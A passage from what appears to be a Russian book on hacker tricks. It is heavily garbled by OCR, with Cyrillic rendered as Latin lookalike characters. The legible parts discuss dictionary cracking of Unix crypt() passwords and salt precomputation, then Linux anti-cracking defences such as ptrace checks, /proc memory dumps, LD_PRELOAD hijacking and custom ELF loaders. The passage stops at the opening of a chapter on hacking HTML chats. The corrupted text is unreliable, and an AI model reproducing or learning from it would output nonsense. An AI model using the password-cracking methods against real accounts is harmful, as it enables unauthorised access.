TOpasi MOHTUPYETCS KakK /usr, Iae MOAKATaJIoT egor, CKaxeM, sSBIsIeTCs s
MeHSs JoMaltHuM. JIn6o JoMalllHUii KaTaJlor MOXET OTHOCUThLCS K /home.

shell: mesut qist nornna. Kak npasuiio, /bin/sh.
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®opmMmar /etc/shadow aka /etc/master.passwd:
login:password

Tenepsb 6aMKe K TeMe: Kak JioMaTh. JIoMaTh mapojii CTaTUCTUUECKUM
METOJOM HEJb3d — JaBaiiTe BBIUMCIUM CKOPOCTh paborel. MrTak,
127 — 32 cumBoisia = 95. Tenepp 95" konuuectBo _OykB. Kak nmpaBuiio, 8. Bto
95*95*95* 95*95*%95%95%95 = .....

Temneps cmorpuTe. 3ammdposka 2000*8 Gaiir mnurcs Ha 486dx4-120
okoJj10 900 ms — 1o ecTb cekyHaa — 310 2100*8 6aitt. Eciu Mbl pazaenvum 958
Ha (2100*8) — MBI MOJIyYMM KOJMYECTBO CEKYH]I VIS IIOJIHOTO Iepedopa Bcex
BapuaHTOB OAHOTO joruHa. Ho sto Ha 486dx4-120 — okomo aByx jer!!! Tak
YTO 3TOT METOJl OTOPAChIBAETCSI HAITPOYb.

Ho nomarot ke kak-To ? [Ipocrto. Brute-force MeTom — MeTox cioBaps.
MbI MMeeM clioBaph aHMIMICKUX CIIOB, KOTOPBI M mepebupaercs. bombiie
cJIoBaph — OOJIBIIIE IIIAHCOB.

MHoro4YuciaeHHble TTporpaMMbl brute-force-KpakuHTa yMmeeT M3Bpa-
aTh CJI0BA U3 CJIOBApPsI IO XOAY KPIKUHTA.

Takum o6pa3oM, KOrma IOIamacTcs B CIOBape CJIOBO «Spaces», TO
IporpamMma ImpoBepsieT: «spaces», «Spaces», «SPACES», «SpaceS», «spaceS»,
HY, ¥ T.]I.

IIpakTrkKa OKa3bIBaeT, 4TO Mepebop, CKaxkeM, MATH JIOTHHOB JJTUTCS
IO CJIOBAPIO C MCITOJIb30BAaHUEM MaKCUMATBHOTO U3BPAIICHUS TIPU CJIOBape B
800 xuyobalT 0KoJI0 Toydaca-dyaca. Eciv ¢ MUHUMaJIbHBIMU M3BpaIleHUS -
MU, T.€. COBCEM 0e3 OHBIX, — OKOJIO TTOJyTOpa MUHYT Ha JIOTHH.

salt — 2T0 ABe OYKBBI, ClielIMaTbHAs TPUMOUKA TSI XaKepOB — OHU Te-
HepsaTcs oT(OHAPHO B MOMEHT IM(pPoBKKU. TakuM 00pa3oM, MUCKIIOYACTCS
HamnucaHue KOMITWJISITOPOB CIOBapeil — MpOorpaMMBbl, KOTopast Obl OJWH pa3
3ammdpoBaja Bech aiia mapojeii, u mepedop IIWiIcs Obl IPUOIU3UTEIHEHO
1 cexyHny.

Bo3MoxHO, Bac 3T0 yAMBUT, HO TaKO# MOAXO/ BCE PABHO UCIONb3YET-
ca (Harmpumep, B QCrack ot Crypt Keeper). 4096 pasinuHbix salt'oB — He Tak
MHoro. TeM GoJiee eciiu yuecTb, UTO TOCTATOUHO XPAHUTD IO OAHOMY OAMTy OT
1 poBaHHBIX cJIOB (T.e. mojydyaeM 4 Kb Ha c10BO), T.K. MOXXHO MCITOJIb30-
BaTh TAKOW aJIFOPUTM Tepedopa: eciiv MnepBbiii 6aiT MMbPOBAHHOTO Napos
HE COBIaAaeT — K CJeAyIoUIeMY, eCJId COBIMAAaeT, HY, HUUEro He MojeaTh —
BbI30B crypt(). [ToaydaeM GuicTponeiicTBre B 256 pa3 BhIllIe, YeM B OOBIYHBIX
wordlist-kpakepax I1ieHOil pa3mepa wordlist'a, KOTOpBIi yBEIUYUTCS
npumepHo B 500 pa3. Tak uTo MoxXHO B3sTh wordlist rae-HuOyab Ha Merabaiir,
o/IMH pas3 3aiudpoBaTh, 3anucatb Ha CD-ROM u nponaBats.
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fAnasa 19.
3awumwaem Linux

IIpenctaBuM, 4TO BbI MOTPATUIN Ky4y BpEMEHU U PECYpCOB, pa3paba-
TBIBas IIOCJICAHNE HECKOJIBKO MECSIIEB HEeIJIOXYIO IIPOTrpaMMy, U JaXe OTde-
ro-To mMeeTe Bepcuio i Linux'a. BummMo, BB XOTUTE OKYIIUTH 3aTpadeH-
HBIC YCWIIMSI — IIPOIIE TOBOpPsI, 3apab0oTaTh HAa CBOCH IporpaMMe Kydy JeHer.
M ecimm BHI He OIyOJIMKOBaJIM CBOII MCXOOHBIN KO, B HameXme 3apaboTaTh
JIPYrUMHU CIIOCODaMM, TO HEOOXOAUMO KaK-TO 3alUTUTh BAIly IIPOrpaMMy OT
HECaHKIIMOHMPOBAHHOTO KOIMMpPOBaHU. T.e. IIporpaMMa JoKHa paboTaTh
TOJIBKO Y TOTO, KTO €¢ KYIIII, M He JOJDKHA paboTaTh (M1 paboTaTh HElpa-
BUJIbHO, WJIM, 9TO OBIBAaeT Yallle BCEro, MMeTh (DYHKIIMOHAJIBHEIC OTpaHUYe-
HUSI) V XaJISIBIIMKOB M KpsIKepoB. [Ipole roBopsi, 4TOOBI Balll YHUKAJIbHBII
aJITOPUTM HEe CMOTLJIM CBOPOBATbh.

Ecnu paspabotke/cHsituio 3amut nog DOS/Windows mocBsiieHO
MHOXKECTBO CAaiTOB, TO MPAKTUYECKN HEBO3MOXHO HAUTU HU OOHOU pabOTHI,
MOCBSIIEHHO TOMY Xe caMoMmy, HO moia Linux. Mexny TeM yxXe umeeTcs
MHOKECTBO KOMMEPUYECKUX MPOrpaMM MOJ 3Ty, B 001lIeM, HE CaMyIO TIJIOXYIO
u3 pacripoctpaHeHHbIX, OS. C npuckopOueM 3aMEeTUM, UTO BCS UX «3allUTa»
cocrapyisgeT MakcMMyM 1% oT ux Windows aHaJIOrOB M CHUMAETCS B XyIIIIEM
ciyyae 3a mapy 4acos.

IMocTtapaemcst 0OBSICHUTD, TTOYEMY TTPOUCXOAUT UMEHHO Tak, MoYemMy
nox Linux'om He paboTaloT MHOTHE TPaIUIIMOHHO UCITOJIb3yeMble JIJIsT 3allu -
Tl Windows-TiporpamMmm crioco0bl, ¥, BO3MOXHO, TTOCJIE MPOYTEHUS ITOM I1a-
BBl BBl CMOXETE TTPUAYMAaTh YTO-TO JAEMUCTBUTEbHO 3 (PeKTUBHOE.

Hrak, B yem Xxe rimaBHoe otanure Linux o mpouyux OS? B mocTymHo-
CTU UCXOTHOTO KO/a Bcero (Hy, KpoMme, pa3Be uTo, Balllel MpOTpaMMbI, CTOSI-
et Mmerabakcel), 4To padboraeT (WIM He paboTaeT) Ha Balllell MalllMHe. DTO
JieJTaeT HalMcaHWe 3allrThl 1Mo Linux mpocTo KomMapoM — Bbl HE MOXETe
OBITh YBEPEHBI, YTO (DYHKIIMS Strcmp U3 CTaHOAPTHOH run-time library — 3to
JIeCTBUTEIBLHO Strcmp, a He €e M3MEHEHHbBIN (OOBIYHO HE B Ballly I10JIB3Y)
BMYJISTOD.

Bbl He MOXXeTe 1OBepATh HUUEMY B TaKOI OIepallMOHHON CUCTeMe —
BCJIEICTBUE JOCTYITHOCTHA MCXOAHOIO KOa JItobast ee 4acTh MOXET ObITh MO-
IUULIMPOBaHA KPSKEPOM TSI B3JIOMa Ballieil MPOTrpaMMBbl, BKJIIOYast TaKue
BaXKHEMIIIMe KOMIIOHEHTHI, KaK sipo 1 run-time library. Bama nporpamma
paboTaeT B caMOii arpecCUBHOI cpejie, KaKylo TOJIbKO MOXHO cebe rpeacra-
BUTb. B camom zene, eciiv 661 BBl MOTJIM U3MeHUTh B Windows 9x, ckaxeM,
kernel32.dll (umeeTcst B BULY HE KOBBIPSIHHE B MALLIMHHOM KOJI€ C TTOMOIIBIO
nu3acceM0biiepa, XOoTs BO3MOXHO MCIOJIb30BaTh U TAKOW METOJ — HET, IPo-

228 XakepcKkue TpoKu

CTO pEeNaKTUPOBAaHUE MCXOJHOTrO KOJa W MOCjeAylollas MepeKOMIUJIS-
11s1) — pa3Be ObLJI0 ObI BO3MOXHO CYIIIECTBOBaHME 3allUT Bpojae VBox?

A TI0Ka 1)1 Bac IUIOXKMEe HOBOCTY — Ballla IIporpaMma o0si3aTeIbHO Oy-
JIET cJIoMaHa. DTO Ha caMOM JieJie YMCTO SKOHOMMUYecKuit Borpoc. [pencra-
BMM, 4TO Balll TporpaMMHbIiA poaykT crout 1000$. CpenHemecsuHas 3ap-
IJIaTa HEIMJIOXOTO IIPOrpaMMICTA U3 HAIIIel CTpaHbl efBa ik coctasisieT 2008,
Takum obpaszoMm, eciu Kakoi-HuOyab mapHuinka u3 Cubupu 3aTpaTUT Ha
CJIOM BalIlleTo TBOPEHUSI MEHBIIIE 5 MeCsSI1IeB — OH OyIeT 3KOHOMUYECKHU BBITO-
JIleH. 3aMeTbTe, YTO 3/1eCh HU CJIOBA He OBUIO CKa3aHO HM 00 OrepaloHHOM
cucTeMe, o]l KOTOPO# paboTaeT Balll IIeAeBpP, HU O CIIOXKHOCTHA U CTOUMOCTH
HCIIOJIb30BAHHOM CUCTEMBI 3aIIIMTHI.

Yto Xe AenaTb — MATU B MOHACTBIPH (XOTsI B XXKEHCKUI MHOTAA HaBe-
NIBIBAThCSI — HaBEpHOE, Hertoxas uaest)? Bbl JOJKHBI pacCMaTpUBaTh 3allM -
TY CBOEIO IIPOrpaMMHOTO MpoaykTta He Kak 100% cpeacTBO OT BalllMX I'OJIOB-
HbIX OOJIei, a BCero JuIb KaK CPeICTBO, 3aTPYIHSIONIEe KU3Hb KPSIKEDPY.
CkaxeM, ecjIv Ballla 3allluTa OCTAHOBUT 9 KpsikepoB U3 10 — 3TO oueHb He-
rioxoi pesysnbrar. KoHeuHo, HE Bce 9 OCTaHOBJIEHHBIX KYMNST Ballly MPoO-
rpaMMy, HO UX OyIeT sIBHO OoJibllle, YeM Uil Cilydyasi, KOrma Ballla 3aliura
cinomana 9-1o u3 10.

WTak, 10OBOJBHO ITyCThIX pa3roBopoB. lJIs1 Havama ciejlaeM KpaTKuUi
0030p TNpUMEHSIEMbIX KpsIkepaMM WHCTPYMEHTOB (XOTSI BIIOJIHE BO3MOXHO
paccmaTpuBath Linux Kak ofuH 00110 MHCTPYMEHT KpsIKepa).

OTAOAYUKU

GDB

Otrnaguuk userlevel mode. 3arpyxaet ¢aiinbl ¢ momouibio BFD.
Yrto-To Bpone craporo Hemobporo debug uz DOSa. Takke odopmieH Kak
oubnmoteka. K HeMy ecTb MHOXeCTBO MHTepdeiicoB, Hauboiee yToOHbBIM 1Ist
X Windows, IMHO, DDD (tpebyet LessTif). Takxe 3aciy>kuBaeT OTaeJIbHO-
ro ynomuHaHust SmartGDB. KpaitHe nHTepecHast uaest IpuOUTh COOKY OT-
JlaguurKa script engine. Belllb oueHb J1000MBITHASI C TOYKU 3pEHUsT aBTOMATH -
3allMy Tpylda Kpsikepa — Bbl MOXETe HamucaTb SCript, KOTOpbI MOCaauThb
3aTeM KaK TPUITep Ha TOUKY OocTaHoBa. Baru script cMor Obl, HarpuMep, Mpo-
BEPUThH MIEPEMEHHbIE B OTJIaXKMBAaeMOI MPorpaMme, U B 3aBUCUMOCTU OT UX
3HAuYeHUSs1, HAIpUMeEp, MOCTaBUTh HOBYIO TOUKY OCTaHOBA (C HOBBIM SCTiptoMm),
CcOPOCUTD KyCOK MaMsITH B (haill, CBAPUTH KaKaBy...

Kernal level debugger

ot Bce Toi1 ke SGI. [1oka kpaiiHe chipas Belb (1 TpeOyeT HeCcTaOMIb-
HOI BEpCUU KepHesa), HO MOXET CIYKUTb ITPOTOTUTIOM IJIsT ©0Jiee TIPUTo/I-
HBIX K UCITOJIb30BaHMIO M3ICTUIA.
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Avsaccembaepsbl

be3 comueHnust, IDA Pro. Takxe MHOTIa MOXXHO Ha CKOPYIO PYKY UC-
nojb3oBaTh Biew, objdump (unu gaxke ndisasm, nusaccemOiep ot Netwide
Assembler), HO 3T0 Hecepbe3HO. bojiee HEM3BECTHBI MHCTPYMEHTDI, KOTOPbIE
MO3BOJISIIOT IOMUCHIBATH K HUM HOBBIE MTPOLIECCOPHBIE MOAYJIU, 3arpy3uuKu
IIJISI HeCTaHIAPTHBIX (hopMaToB (aiiyioB, a TakKe plugins, obaeryaroiine aBTo-
MaTUYeCKUI/MHTePAKTUBHBIN aHAIU3.

strace

wm truss mox UnixWare. Ananor regmon/filemon/BoundsChecker
B omHOM (piakoHe. fAnpo Linux'a mMmeeT momuepKKy IlepexBaTa CHUCTEMHBIX
BBI30BOB ((yHKIIMs ptrace). T.e. MOXHO 3aITyCTUTh JI000M IIpoliecC KaK IIOa-
JIeXallnii TpacCUPOBKe Yepe3 ptrace, U Bbl CMOXETE OTCIEIUTh BCE CUCTEM-
HbIE BBI3OBHI C UX MapaMmeTpamu. bojee Toro, mocie HeGObIION MoaUDUKa-
muu ata GYHKOUsS (KOTopas HMMeeT MOCTYIT K BUPTYaJbHON MaMsTH
TPacCUpPyeMOTO TIpollecca) MOXET OBITh MCIOJIb30BaHa, HampuMep, IS
run-time patching, BHeApeHUs KoAa B apecHOe IIPOCTPAHCTBO JIFOOOTO MPO-
1ecca, 4 Tak aajee, ¥ TOMY IOI00HOe.

ptrace

Menee Haae>XHoOE, HO 0oJiee IIPOCTOC B p€ain3alliu CpeaCTBO. MozxxHo
BBI3BaTh ptrace I caMoro ce0s1. Ecau BbI30B ObLT HEyJa4€H — 3Ha4YMuT, HacC
YK€ TPACCUPYIOT, HY>KHO cieJIaTh YTO-HUOYIb 110 3TOMY MOBOAY (Sys_exit, Ha-
npumep). Bripouyem, Benb eciiv HaC yKe TpacCUPYIOT, HUYETO He CTOUT Mepe-
XBaTUTb JaHHBIN BHI3OB U BEPHYTbH BCC€ YTO YIOJHO...

Memory dumpers

®daitnoBast cucteMa /proc MOXeT MCIIOJIb30BaThCS TSI TAKMX IIEJICH.
®aitn maps MCMOJIb3yeTcs KaK KapTa BBIIEJICHHON MPOIECCY BUPTYaTbHOM
MaMsITH, a aiin mem SBJISETCS ee 0TOOpakeHNeM, MOXKHO CIesIaTh B HeM seek
Ha HYXXHBIH apec 1 JIETKO COXPAaHUTh HEOOXOAMMBII yJacTOK B (haiil UIn Ky-
na-BeI-Tam-xoTtute. [Ipocras mporpamma Ha Perl pasmepoMm 30 cTpodek mMo-
JKET OBbITh MCIOJb30BaHA IS CHATHS JaMIla TaMsITU Balllel IparoleHHOM
IIPOTrpaMMEI 1 coxpaHeHus ee B daitr. HamHoro npomie, yem mox Win32.

LLlecTHOAL OTEPUYHBIE PEAAKTOPDI

C 3TuUM TOXe HMKOTIA He ObUIO O0JbIIMX MpobisieM. Jlaxe ctaHmapT-
HbIl TpocMoTpoBIIMK Midnight (vim Mortal, ero BTopoe nmsi) Comandera
YMEET pelaKTUPOBaTh B IIIECTHALIATEPUYHOM TIpe/icTaBieHuu. s rypMaHoB
pekomeHayeM Biew.
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CTOHAQPTHbIE CPEACTBA PA3PABOTKU

Jna mogudukauuu siapa/runtime 616aMOTeK (a TaKXKe 1T CO3AaHUS
patch'eii 1 keygen'oB) Hy>keH KaK MUHUMYM KOMIWISITOP «C».

Cnoco6bl 3aLWwmThI

Wrtak, HageeMcsl, BEI ellle He YCHYJIM 1 HE BIIaJIX B ACITPECCHUIO. Yo ke
MO2KHO IIPOTHUBOIIOCTaBUTb BCEMY BBIILICOIIMCaAHHOMY ? SIBHO TOIATCS AAJIEKO
HE€ BCE€ METOAbI, UCIIOJIL3YEMBIC B Win32. Tem He MC€HEC, NpeaACTaBUM HE-
CKOJIBKO...

Mpotus BFD (GDB, objdump, strings n 1.A.)

BFD — at0 6ubnauoTeKka [ MaHUITYJISIIUi ¢ OMHApHBIMU (aiimamu.
[To cyacTiIMBOMY CTEYEHMIO OOCTOSITEILCTB OHA MCIIOJB3YETCSl TaKXKe OTJIa-
yukoM GDB. Ho o5t ELF-dopMmara (HauGosee pacripocTpaHeHHbI# (hopMar
WCTIOJIHMMBIX (DaliioB moja BcemMu coBpeMeHHbIMU Unix'aMu) oHa peanusyeT
HEeTPaBWIbHBIN aJITOPUTM 3arpy3Ku. s 3TOr0 MOXHO MCTIOJIb30BaTh SStrip
wm ELF.compact (coGCTBEHHO, OHY JIeJIal0T OTHO U TO Ke).

Ilpeumywecmea:

OueHb TIpocTOit MeTo. bepeTe Balry roToByI0 OTJIaXKeHHYIO IIPOTpaM-
MY ¥ BMECTO KOMaHIIHI strip 3amyckaere elf compact (uiu sstrip).

ITomMuMoO Bcero mpovero, Bbl YMEHBIINUTE pa3Mep Balllero AMCTPUOYTH-
Ba. XOTsl, IJISIAS Ha pa3Mephbl COBPEMEHHBIX TUCTpUOYTUBOB Linux'a, 3TOT ap-
TYMEHT KaXeTCs IIPOCTO CMEITHBIM... Ha 3TOM TPEeUMYIIeCTBa 3aKaHYMBAIOT-
¢ 1 HAYMHAIOTCA. ..

Cnaownble Hedocmamku:

ITockonbky ncxogHuky BFD mmy0mnaHo JOCTYITHEI, TEOPEeTUIECKHU JIIO-
00If MOXET TOopaboTaTh 3TOT 3aMeYaTeIbHBIN MaKeT, TaK YTO IIaHCHI CHOBA
OyIoyT He B Bally IT0Jb3y. COOCTBEHHO, BBl JOJLKHEI IOMHUTD, YTO B Linux'e
3TO OTHOCHUTCS KO BceMy. Ho moka aToT MeTon padboraer.

JTaHHBIA BAPUAHT MOXET PACCMATPUBATBLCS KAK OYEHD [TPOCTAst 3allH-
Ta OT MOJIHBIX JJaMepoB, rating 0.1%.

Komnpeccus/wmdpposaHme KoAa NporpamMmbl

Campiii pacripocTpadeHHBIN MeTox 3amuThl mox Win32. ITox Linux'om
3TOT METOJI UMEeT HEeKOTOpbhle 0co0eHHOCTU. CaMoe 00IbIIIoe OTIUYKE B TOM,
Kak pa3penialoTcs CChIIKM Ha BHEIITHUE MOIYJIN.
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Cratnyeckas AMHKOBKGO

He umerommii ananoros moa Win32 meton. Ilpu c6opke mporpaMmabl
BCE UCIOJIb3yeMbIe €10 OMOIMOTEKM MPOCTO CTATUYECKU JTUHKYIOTCS B OJUH
0OJIBLION TOJCTBIM Moayb. T.e. WIS 3almycKa TaKoi IporpaMMbl HUYETO 10-
MOJTHUTEJIBHO AeJIaTh HE HY>XKHO — TaKas IporpaMMa camoJI0CTaTOYHa.

Ipeumywecmea:
BoJibiiyio mporpaMMy JIoMath TpyAHEE, YeM MaJICHBKYIO.

HesaBucuMocTh OT cpeibl HCITOTHEHMsI. B caMoM fierte, JOBOJIBHO Jac-
TO BO3HUKAIOT KOHMIMKTH BEPCHIA, YCTAHOBIICHHBIX Ha MAaIlMHE KOHEYHOTO
TTOJTB30BaTe ST OMOIMOTEK, M3-3a YETO Ballla IIPOTrpaMMa MOXET ITPOCTO He pa-
6oTath. B ciygae craTMyecKy CIMHKOBAaHHOM MTPOTPaMMBI TaKHe TTPOOIeMBI
YCTpaHSIIOTCA (a TOYHee, MTPOCTO He BOSHUKAIOT).

Ycrpanenue (xots 1 He 100%) BO3MOXHOCTH TiepexBaTa M SMYJISIINI
OMOJTMOTEYHEIX BHI30BOB. B Takoii mporpamMe BEI OyaeTe HECKOJIBKO OoJjee
YBepEHEI, UYTO IIPH BEI30BE, CKaXXeM, stremp OyaeT BeI3BaHA Ballla CTATHICCKU
CIMHKOBaHHas (yHKIMS strcmp, a He Hen3BeCTHO uTo. X0Td B Linux HuKorma
¥ HU B YeM HeJIb3s OBITh YBEPEHHBIM J0 KOHIIA.

Hedocmamku:
VBeaunueHue pasmepa IIporpamMm.

Ecim BBl mymaere, 4TO TaKUM OOpa3oM CMOXETe 3aTPYIHMTh XU3HD
KpsIKepy, BBl ITyooKo ommbaerech. C momMomibio TexHojaornu FLAIR, uc-
nosb3yemoii B IDA Pro, a Takke mpuMmeHuB nHCTpyMeHT RPat my1s1 cozmanus
CUTHATYp UCXOOHBIX OMOIMOTEK (MCIOJb30BaHHBIX BaMM IIPU CTaTUYECKOI
JIMHKOBKE), BCE BaIllli OMOJIMOTeIHBIe (DYHKIIUM MOTYT OBITh JIETKO OITO3HAHBI.
Bonee Toro, 00IYHO HE COCTABIISET OOJIBIIIOTO TPYAA BBISICHUTD, KAKWE MMEH-
HO OMOJIMOTEKM HCITOJIB3YIOTCSI, COOpaTh MX U cAedaTh (aiijibl CUTHATYP.
Rating: 0.1%.

Bo3MoXHO, YTO KTO-HUOYOb CTaHET YTBEepXIaTh, YTO CTaTUYecKast
JINHKOBKA-JI¢ YBEJIMYMBAET HEOOXOMUMbIE PECYPChl U UTO SIKOOBI pas3iessi-
eMble OMOJIMOTEKH Pa3AessIIOT CETMEHT KO/a MeXIy BCeMU IpolieccaMu, 1c-
MOJBL3YIOIUMU KX. TO Xe camoe YTBepXKIaeT OOJbIIMHCTBO YYEOHUKOB IO
Unix, HO 3T0 He TaK. CaMoe MPpOoCTOoe A0Ka3aTeIbCTBO — MPOCMOTP aTprUOyTOB
CErMEHTOB MaMsITH, 3aHUMaeMbIX pa3nessieMbIMu 6ubaroTeKamu (aitn maps
B ¢aiiyioBoil cucteme /proc). Bbl MouTM HUKOIAa He YBUAUTE aTpudyTa
s(hared). ITouemy? Kopotkuii orBeT 3ByuuT Tak — u3-3a ELF. [leso B ToM,
yto npu 3arpy3ke ELF-aiina npoucxoaur HacTpoiika ero mnepemMeliaeMbix
aapecoB — relocations. [1py 3ToM cerMeHTy maMsTh (Iaxe eclid 3TO CeTMEHT
Kona) mpucBauBaroTcs aTpudyThl Read/Write 1 eciiv oH npu 3TOM pa3nensii-
Cs1 HECKOJIbKMMU TIPOLieCCaMU, MTPOUCXOUT KOMTMPOBAHUE MaMsITH TTPU 3aIu-
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cu. TakuM o6pa3oM, pasmesieHne CeTMEHTOB KOla MEXIY MpOoIeccaMy BO3-
MOXHO TOJBKO MEXYy POAUTENIEM U €T0 MOTOMKaMH (KaK pe3yJibTaT GyHKIMU
fork). OTi ke apryMeHThl IPUMEHUMBI U K YTBEPXKICHUIO, YTO SIKOOBI «yIa-
KOBKa KOJia IMPOrpaMMBbl TIPUBOINT K YBEJIMICHHUIO PECYPCOB, HEOOXOMUMBIX
IUTS 3aITyCcKa TaKOM MPOTPaMMBI».

ANHAOMUYECKAS AMUHKOBKCO

ITon Win32 Bce mporpaMMBbl SIBJISIIOTCS IMHAMUYECKU CIMHKOBAHHbI-
MM KaK MUHUMYM ¢ cucteMHbiMU .DLL, peanusytommmu API. bosee Toro,
Takasi JMHKOBKA OCYILECTBIISIETCS OMSITh XK€ CAMOI CMCTEMOIA C TTOMOIIIBIO BCE
tex xxe pyakumiit API. ITox Linux oM Bce mo-apyromy. Bo-mepBbIx, mporpam-
M€ COBEpIIEHHO He 00s3aTebHO ObITh AUHAMUYECKU CIMHKOBAHHOW.
Bo-BTOpBIX, TpOrpaMMa caMa I0JKHA 3a00TUTHCS O 3arpy3Ke BCeX HEOOXOAM -
MBIX MOAYJIEH M TMHAMMUYECKOM pa3pellleHNH CChIJIOK. DTo, TTpaB/ia, BOBCE He
03HAyYaeT, YTO BaM KaXKIbIi pa3 MPUIETCS MUCaTh KOJ 3arpy3Kyd MOAYJIS B Ta-
MaTh. Cpena ucronHeHus (a He kernal — kak B Win32) mpenocTasJisieT peaiu-
3aI110 AMHAMUYECKOTO 3arpy34rKa 1o yMOJYaHWI0 — B TepMHHaxX Linux ero
HasbiBatloT ELF interpretor, unu mpocro interpretor. [lpu JMHKOBKE B MpoO-
rpamMmy momelaercss nHgpopmauus, 4To Ijs ee 3amycka He0oOXoauMo Tocye
3arpy3Ku caMoif TPOrpaMMBbI TaKKe 3arpy3uTh interpretor 1 nmepeaath eMmy yIi-
paBneHue. Ha aTom 3arpyska (paiiia Ha MCTIOJTHEHUE C TOUKU 3pEHUsT KepHesa
3akaHuyMBaeTcs. Ho Baim rosoBHble 601 ToNbKO HaunHawTcs! MTak, yem
wiox crangaptHeiii ELF interpretor?

Tem ke, yeM U Bechb Linux, — ero MCXOOHUKU AOCTYITHBI, COOTBET-
CTBEHHO, OH MOXET OBbITh JIEFTKO M3MEHEH JUIS1 JOCTUKEHWSI HEM3BECTHBIX BaM
LIEJIEH.

OH nonaepxXuBaeT YHUKaJIbHBIN 111 Unix OB MeXaHU3M TIpelBapu-
TeJbHOM 3arpy3ku. PaccmMoTpuM ero noapo6Hee. Utak, npeanonaoxuMm, 4To
Ballla MporpaMMa MMIOPTUPYeT (PYHKIMIO stremp. 3700HBIIN KpSIKEP MOXKET
Hamucath COOCTBEHHYIO peaiM3aliuio 3TOi (DYHKLMU, CO3MaTh OOBEKTHBIM
MOJIYJIb M UCITIOJIb30BaTh €€ BMECTO TOM, YTO Bbl oxxunaanu! [l aToro Bcero
JIMIIb HYXKHO orpeaesiuTh nepemeHHyto cpenabl LD PRELOAD, uto6b1 oHa
colepxasa CMCOK MOJyJel, mojiexaliux 3arpy3ke nepea MoAyJIssMu, UM-
MOPTUPYEMBIMU Ballieil nmporpammoii. Jlornka paboTsl interpretor'a Takosa,
YTO €CJIM HeKasi UMIopTUpyeMast yHKIIMS yKe pa3pellieHa, To OHa O0JIbIle He
paspetraercs (B Linux UMIOPT MpOUCXOIUT IO UMEHM, a HE TI0 UMEHU U UMe-
HU Oubnuoteku, kak B Win32). TakuMm oGpa3oM, MOXHO IITaTHBIMU Cpell-
CTBaMU BHEAPUTH B afpecHOe TMPOCTPAHCTBO Ballieil MpOrpaMMbl BCE, UTO
YIOHO, 3aMEHMB TIPU 3TOM JIt00yI0 MMMopTUpyemyto ¢hyHkuuto. [Toxoxe Ha
HOYHOM KolIMap, He Tak Ju? Bbl Bce ele aymaete, yto Linux Hamnucanu He
KpsIKepbI?
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C craHaapTHbBIM interpretor'oM ecTb M elle oaHa Tpobsema. deno
B TOM, YTO €T0 JIETKO MOXHO Mepenucarh is YHUBEPCATbHOTO MHCTPYMEHTA,
OTCJIEXKMBAIOLIETO BCE BHI30OBBI UMITOPTUPYEMBIX hyHKIIMI. Bblia naest Betpo-
uTh script engine B ELF interpretor, Tak 4To 00JIbIlE HE HY>KHO OyIeT Nepenu-
ChIBaTh €ro MoJ KaXAyl0 KOHKPETHYIO MPOrpaMMy, a BCEro JIMIb 3aMEHUTh
script, KOTOpBIi U caenaeT Bce, yTo HyxkHO. Bens ELF interpretor paboraet B
apecHOM MPOCTPAHCTBE Ballei MPOrpaMMbl, U OH OTBEYAET 3a HAYaIbHYIO
3arpy3Ky MMIOPTUPYEMbIX (DYHKIMI, T.e. (pakTUUeCKU Takoi script Oyaer
MMeTb HaJl Ballleil MporpaMMOii MOJTHBIN KOHTPoJIb (moa Win32 BooOiiie Heus-
BECTHbI MOA00HbBIE MHCTPYMEeHTHI. BoundsChecker, KOHEUHO, MOXET OTCJIe-
>KMBaTb BCE BBI30BBI UMITOPTUPYEMBIX (DYHKIIMI, HO IOKa HUKOMY He MpuLLIia
MBICJIb IOMTUCATh K HEMY SCript engine U UCMoJIb30BaTh, HAMIPUMED, U1 mem-
ory patching).

Ecnu nocne npouteHus nmpeabiayiinero ab3aiia Bbl Bee elie He BhIOpo-
CWJIUCh U3 OKHA — €CThb IS Bac M Xopoluire Mbiciau. MTak, 4To MOTyT NMpoTH-
BOIOCTAaBUTh aBTOPHI 3alIUThi? COOCTBEHHbIN 3arpy3urK B KepHese. MoXHO
MPOCTO Tiepernucarb CcTaHaapTHbI 3arpy3uuk ELF-daiino (daitn
binfmt_elf.c u3 gupekropum fs ncxomHukoB sapa Linux), 4ToObl caenarb
JKM3Hb KpsiKepa HeCKoJIbKO Tsxkenee. Harpumep, coOpacbiBath (yiar Tpaccu-
POBKH TIpoliecca, UMeTh COOCTBEHHbIN (popMaT UCTIOTHUMBIX (haityioB (ecTe-
CTBEHHO, BMECTE C MepekoaupoBiMkoM o0biuHbIX ELFOB B aTOT (hopmar),
JIEKPUTITOBATh/NEKOMITPECCUPOBATh KYCKM (haiiyia Tiepen 3arpy3koi ux B ma-
MATb U T.0. Hedocmamku: KaK HA CTPAaHHO, CAMBIM OOJIBIIIMM HEIOCTATKOM
SIBJISIETCSI HEOOXOAMMOCTb MMETh COOCTBeHHBIN Kog B kernel'e. ITockonbKy y
KOHEYHOTO IT0JIb30BaTeIsl, UYTO BIOJHE €CTECTBEHHO, BPeMSI OT BPEMEHU BO3-
HUKaeT HEOOXOAMMOCTh B TIepecOOpKe KepHea, Bbl JOJIKHbBI Oynere Tpeno-
CTaBUTh JIMOO OOBEKTHBIN MOAYJb (M1 HACMEPTh MPUOUTOTO IBO3/ISIMU B Kep-
HeJl Kojia), Wiu omsTh 00bekTHbIM Momyiab (miss LKM — Linux Kernal
Module). U to, u npyroe jgerko MOXHO AM3acCeMOJIMPOBATH/TIPOIATYNTD,
U UCTOPUS TIOBTOPSIETCS. ..

Kaxk HacyeT cmeHBl BepcuM KepHesaa? Hampumep, IpsaeT cMeHa sapa
2.2 Ha 2.4 — HYXHO OyaeT uMeThb (M MOoAAePXKUBaTh!) KAK MUHUMYM KOJ, JJISI
00eux Bepcuii siapa...

A eciu Bbl gonyctute omnbky? Ecnu mist userlevel-niporpamm Baiiu
OIIUOKHU, CKOpee BCEro, He CMEPTEIbHBI, TO OIIMOKM B KONE KepHEaa MOTYT
MMeTb BeCcbMa IUlayeBHbIE MociencTsus. Kpome Toro, omiaaka Takoro Kojaa
SIBJISIETCSI CYILIUM KOIIIMApOM, TTOBEPHTE. ..

Cy6’beKTI/IBHa$I IIpUYMHA — CJIO0XKHOCTb YCTAHOBKH. Ho IIpU BCEX HEIO-
CTaTKax — 39TO BIIOJIHC HpI/IGMJI@MBII?I BapuaHT.
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'hnasa 20.
Banom hitml-yatos

IIpenmnonaraercs, yto yntaresab 3HaeT, yto Takoe CGI, 1 Ha 3TOM MBI
ITOCTPOVM CBOE OOBSCHEHUE.

B n11060M uate peiimM, B KOTOPOM BbI IUILIETE COOOLIEHUS, TEHEPUTCS
